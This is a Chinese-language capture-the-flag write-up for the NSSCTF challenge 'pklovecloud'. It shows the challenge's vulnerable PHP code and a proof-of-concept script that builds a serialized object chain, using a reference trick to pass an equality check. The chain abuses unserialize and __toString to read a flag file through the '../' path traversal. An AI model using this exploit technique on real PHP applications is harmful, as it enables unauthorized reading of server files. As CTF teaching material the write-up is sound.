NSSCTF[第五空间 2021]pklovecloud_WP

NSSCTF[第五空间 2021]pklovecloud_WP

比赛源码

<?php 

include 'flag.php';

class pkshow 

{ 

  function echo_name()   

  {     

​    return "Pk very safe^.^";   

  } 

} 

 

class acp 

{  

  protected $cinder;                   //保护变量记得加url编码

  public $neutron;                     //用引用($neutron=&$ova)使二者相等

  public $nova;

  function __construct()                 //以后需要在私有和保护变量中赋值一个对象，可以用

  {                                      __construct()魔术方法来赋值

​    $this->cinder = new pkshow;

  } 

  function __toString()                 //触发__tostring()在下方传参时会用到echo函数导致触发

  {     

​    if (isset($this->cinder)) 

​      return $this->cinder->echo_name();                 2//cider=new ace();

  } 

} 

 

class ace

{  

  public $filename;   

  public $openstack;

  public $docker; 

  function echo_name()   

  {  

​    $this->openstack = unserialize($this->docker);            1//docker=null;  

​    $this->openstack->neutron = $heat;     

​    if($this->openstack->neutron === $this->openstack->nova)       1//openstack=new acp();

​    {

​    $file = "./{$this->filename}";

​      if (file_get_contents($file))     

​      {       

​        return file_get_contents($file);           1//file=flag.php

​      } 

​      else 

​      { 

​        return "keystone lost~"; 

​      }  

​    }

  } 

} 

 

if (isset($_GET['pks'])) 

{

  $logData = unserialize($_GET['pks']);

  echo $logData;                   //触发__tostring()函数

} 

else 

{ 

  highlight_file(__file__); 

}

?>

-----------------------------------------------------------------------------------------------------------------------

POC:

<?php

 

class acp

{

  protected $cinder;

  public $neutron;

  public $nova;

  function __construct()

  {

​    $this -> cinder =new ace();

  }

}

 

class ace

{

  public $filename="../nssctfasdasdflag";

  public $openstack;

  public $docker=null;

 

}

$a=new acp();

$a->nova=&$a->neutron;

$e=new ace();

$e->openstack=$e;

echo urlencode(serialize($a));

Filename=flag，网页输出的结果（在源码里）给了提示。

提示flag在nssctfasdasdflag中，于是更改filename。网页显示：

导致这个原因是在下面这个判断语句：

说明nssctfasdasdflag这个文件不存在此目录，于是猜测在上一个目录，更改pocFilename=…/nssctfasdasdflag。成功回显flag。